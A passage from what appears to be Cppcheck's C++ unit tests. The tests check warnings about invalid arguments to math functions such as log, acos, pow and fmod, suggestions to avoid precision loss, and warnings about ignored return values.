argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) \\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. 